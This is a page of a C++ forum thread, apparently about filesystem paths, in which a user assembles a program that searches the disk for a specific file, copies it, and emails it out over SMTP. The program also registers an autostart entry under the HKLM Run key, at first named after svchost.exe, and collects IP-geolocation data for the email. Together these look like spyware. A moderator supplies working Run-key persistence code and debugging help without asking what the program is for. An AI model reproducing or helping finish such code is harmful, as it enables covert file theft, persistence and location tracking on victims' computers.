dcsimg
CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Page 2 of 3 FirstFirst 123 LastLast
Results 16 to 30 of 45

Thread: How to convert const std::filesystem::directory_entry to tchar?

  1. #16
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Quote Originally Posted by 2kaud View Post
    using / in a path name may work in some places, but \ is the path separator in windows. And in a non-raw text string, then \\ is used. So

    "d://folder//" becomes "d:\\folder" and "d://folder//red//white.txt" becomes ""d:\\folder\\red\\white.txt". If / is used for a path, then you don't use //.



    Consider:

    Code:
    #include <filesystem>
    
    namespace fs = std::filesystem;
    
    const fs::path initpath {"c:\\myprogs\\folder\\"};
    const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
    const fs::path req_fn {"black.txt"};
    
    int main()
    {
    	for (const auto& fn : fs::recursive_directory_iterator(initpath))
    		if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
    			fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
    			break;
    		}
    }
    Your code crashes for me somehow

  2. #17
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,920

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Works ok on my system with my test folders. Copies the specified file as required. VS2019, release build, Multi-byte character set.

    Is there something special about your folder structure/files? Can you zip the folder directory and its subs and files and post as an attachment?
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

  3. #18
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,920

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Tried moving the source folder deep into another nested folder and using the root of that as the start point - but the code still works OK and copies the file to where it should be.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

  4. #19
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Ok, sorry, it works when I changed a location. Now, If I want to place that unknown path/filename instead of "C:\\svchost.exe" like fn.path().string().c_str how it can be done?
    Code:
    #include "pch.h"
    #include <filesystem>
    #include <stdio.h>
    #include <windows.h>
    using namespace std;
    
    namespace fs = std::filesystem;
    
    const fs::path initpath{ "d:\\folder\\" };
    const fs::path destname{ "d:\\folder\\red\\white.txt" };
    const fs::path req_fn{ "black.txt" };
    
    int main()
    {
    	for (const auto& fn : fs::recursive_directory_iterator(initpath))
    		if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
    			fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
    			break;
    			HKEY hkey;
    			LONG regOpenResult;
    			const char PATH[] = "C:\\svchost.exe"; /*This is
    										 the path of
    										 your program*/
    
    			regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    				"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    				0,
    				KEY_ALL_ACCESS,
    				&hkey);
    
    			RegSetValueEx(hkey,
    				"Random name", //This is the name that shows up in your registry
    				0,
    				REG_SZ,
    				(BYTE*)PATH,
    				strlen(PATH));
    
    			RegCloseKey(hkey);
    
    			return 0;
    		}
    }

  5. #20
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,920

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Like this:

    Code:
    #include <filesystem>
    #include <iostream>
    #include <windows.h>
    using namespace std;
    
    namespace fs = std::filesystem;
    
    const fs::path initpath {"c:\\develop\\"};
    const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
    const fs::path req_fn {"black.txt"};
    
    int main()
    {
    	for (const auto& fn : fs::recursive_directory_iterator(initpath))
    		if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
    			fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
    
    			HKEY hkey;
    
    			RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    				"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    				0,
    				KEY_ALL_ACCESS,
    				&hkey);
    
    			RegSetValueEx(hkey,
    				"Random name", //This is the name that shows up in your registry
    				0,
    				REG_SZ,
    				(BYTE*)fn.path().string().c_str(),
    				fn.path().string().length() + 1);
    
    			RegCloseKey(hkey);
    			break;
    		}
    }
    This will set the data for "Random Name" to the "original folder\\black.txt".

    NOTE that depending upon whether you are using Windows32/64 and 32/64 bit .exe, you could come across Windows Registry Redirector. See https://docs.microsoft.com/en-us/win...try-redirector

    If this happens, then the key "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" could actually be mapped to "SOFTWARE\\wow6432node\\Microsoft\\Windows\\CurrentVersion\\Run"
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

  6. #21
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Thanks, but this is still difficult to understand for me. How would you change "qa_data/jpg/starfish.jpg" in this code?
    Code:
    #include <filesystem>
    #include <iostream>
    #include <windows.h>
    #include <CkMailMan.h>
    #include <CkEmail.h>
    using namespace std;
    
    namespace fs = std::filesystem;
    
    const fs::path initpath{ "c:\\myprogs\\folder\\" };
    const fs::path destname{ "c:\\myprogs\\folder\\red\\white.txt" };
    const fs::path req_fn{ "black.txt" };
    
    int main()
    {
    	for (const auto& fn : fs::recursive_directory_iterator(initpath))
    		if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
    			fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
    			break;
    			// This example requires the Chilkat API to have been previously unlocked.
       // See Global Unlock Sample for sample code.
    
       // The mailman object is used for sending (SMTP) and receiving (POP3) email.
    			CkMailMan mailman;
    
    			// Set the SMTP server.
    			mailman.put_SmtpHost("smtp.my-tls-mail-server.com");
    
    			// Set the SMTP login/password (if required)
    			mailman.put_SmtpUsername("MY_SMTP_USERNAME");
    			mailman.put_SmtpPassword("MY_SMTP_PASSWORD");
    
    			// Connect to SMTP port 465 using TLS.
    			mailman.put_SmtpSsl(true);
    			mailman.put_SmtpPort(465);
    
    			// Create a new email object
    			CkEmail email;
    
    			email.put_Subject("This is a test");
    			email.put_Body("This is a test");
    			email.put_From("Chilkat Support <support@chilkatsoft.com>");
    			bool success = email.AddTo("Chilkat Admin", "admin@chilkatsoft.com");
    			// To add more recipients, call AddTo, AddCC, or AddBcc once per recipient.
    
    			// Add some attachments.
    			// The AddFileAttachment method returns the value of the content-type it chose for the attachment.
    			const char *contentType = email.addFileAttachment("qa_data/jpg/starfish.jpg");
    			if (email.get_LastMethodSuccess() != true) {
    				std::cout << email.lastErrorText() << "\r\n";
    				
    			}
    
    			contentType = email.addFileAttachment("qa_data/pdf/fishing.pdf");
    			if (email.get_LastMethodSuccess() != true) {
    				std::cout << email.lastErrorText() << "\r\n";
    				
    			}
    
    			// Call SendEmail to connect to the SMTP server and send.
    			// The connection (i.e. session) to the SMTP server remains
    			// open so that subsequent SendEmail calls may use the
    			// same connection.  
    			success = mailman.SendEmail(email);
    			if (success != true) {
    				std::cout << mailman.lastErrorText() << "\r\n";
    				
    			}
    
    			success = mailman.CloseSmtpConnection();
    			if (success != true) {
    				std::cout << "Connection to SMTP server not closed cleanly." << "\r\n";
    			}
    
    			std::cout << "Mail with attachments sent!" << "\r\n";
    		}
    }

  7. #22
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,920

    Re: How to convert const std::filesystem::directory_entry to tchar?

    How would you change "qa_data/jpg/starfish.jpg" in this code?
    To what? If you want it to be "d:\\folder\\<unknown>\\black.txt" then simply fn.path().string().c_str() as in the example in post #20.

    If you want something else, you need to be more specific.

    Also note that the break statement should come after all the code to be executed when the required file is found. In the code in post #21, once the file is found, only the copy_file() is executed - everything in that block after the break is ignored.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

  8. #23
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Thank you, you are helping me a lot. Yes it works, sorry. I get a good file to email but it's named "New folderblack.txt" (New folder is unknown folder). But it's a detail of course. Maybe copying a file using windows.h didn't work for the same reason.
    Last edited by prako2; August 10th, 2019 at 09:39 AM.

  9. #24
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    But if cout << fn.path().string().c_str() << "\n"; it shows well: d:\folder\New folder\black.txt, if I replace \\ with // it shows d://folder//New folder\black.txt and \ doesn't work with CopyFile of window.h
    Last edited by prako2; August 10th, 2019 at 04:43 PM.

  10. #25
    Arjay's Avatar
    Arjay is offline Moderator / EX MS MVP Power Poster
    Join Date
    Aug 2004
    Posts
    13,173

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Have you tried stepping through the code in a debugger? Figure out the paths, see what you have, make the code changes for what you expect and try again?

  11. #26
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Quote Originally Posted by Arjay View Post
    Have you tried stepping through the code in a debugger? Figure out the paths, see what you have, make the code changes for what you expect and try again?
    I tried all cases:
    Code:
    const fs::path req_fn{ "black.txt" };
    const fs::path req_fn{ "/black.txt" };
    const fs::path req_fn{ "//black.txt" };
    const fs::path req_fn{ "\black.txt" };
    const fs::path req_fn{ "\\black.txt" };
    But everything turns to /
    Last edited by prako2; August 11th, 2019 at 03:32 AM.

  12. #27
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,920

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Why CopyFile() and not fs::copy_file() ?

    With copy_file() you just need to use fn.path().

    and \ doesn't work with CopyFile of window.h
    It does. Consider:

    Code:
    #include <filesystem>
    #include <windows.h>
    using namespace std;
    
    namespace fs = std::filesystem;
    
    const fs::path initpath {"c:\\develop\\"};
    const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
    const fs::path req_fn {"black.txt"};
    
    int main()
    {
    	for (const auto& fn : fs::recursive_directory_iterator(initpath))
    		if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
    			//fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
    			CopyFile(fn.path().string().c_str(), destname.string().c_str(), TRUE);
    			break;
    		}
    }
    CopyFile() here works just the same as copy_file().
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

  13. #28
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    I tried previous code (not yours) before so it didn't work. Now email example works well as well, IDK what I did wrong before. Thx.

  14. #29
    Join Date
    Aug 2019
    Posts
    56

    Re: How to convert const std::filesystem::directory_entry to tchar?

    Code:
    const char *region = 0;
    	const char *regionName = 0;
    	//	const char *status = 0;
    	const char *timezone = 0;
    	const char *zip = 0;
    
    	
    	region = json.stringOf("region");
    	regionName = json.stringOf("regionName");
    	//status = json.stringOf("status");
    	timezone = json.stringOf("timezone");
    	zip = json.stringOf("zip");
    	//  The mailman object is used for sending (SMTP) and receiving (POP3) email.
    	CkMailMan mailman;
    
    	//  Any string argument automatically begins the 30-day trial.
    	success = mailman.UnlockComponent("");
    	if (success != true) {
    		std::cout << mailman.lastErrorText() << "\r\n";
    		return;
    	}
    
    	//  Set the SMTP server.
    	mailman.put_SmtpHost("smtp.gmail.com");
    
    	//  Set the SMTP login/password (if required)
    	mailman.put_SmtpUsername("USERNAME");
    	mailman.put_SmtpPassword("PASS");
    
    	//  Connect to SMTP port 465 using TLS.
    	mailman.put_SmtpSsl(true);
    	mailman.put_SmtpPort(465);
    
    	//  Create a new email object
    	CkEmail email;
    	//char* badAndWrongCountry = const_cast<char*>(country);
    	//char* badAndWrongQuery = const_cast<char*>(query);
    	//_tcscat(badAndWrongCountry, badAndWrongQuery);
    	std::string buf(region);
    	buf.append(regionName);
    
    	email.put_Subject(buf.c_str());
    Do you know how to contacenate 2 const chars in this situation? They're region and regionName and I want to place it to email.put_Subject. I tried many conversions but they give me weird symbols instead of letters if letters are mixed with digits.
    Last edited by prako2; August 11th, 2019 at 02:31 PM.

  15. #30
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,920

    Re: How to convert const std::filesystem::directory_entry to tchar?

    One of the easiest ways to concatenate 2 c-style null-terminated strings is:

    Code:
    	const char* cc1 = "my";
    	const char* cc2 = "name";
    	const string s3 = cc1 + ""s + cc2;
    
    	printf("%s\n", s3.c_str());
    [Note the s after the "" - this is required]
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

Page 2 of 3 FirstFirst 123 LastLast

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


Windows Mobile Development Center


Click Here to Expand Forum to Full Width




On-Demand Webinars (sponsored)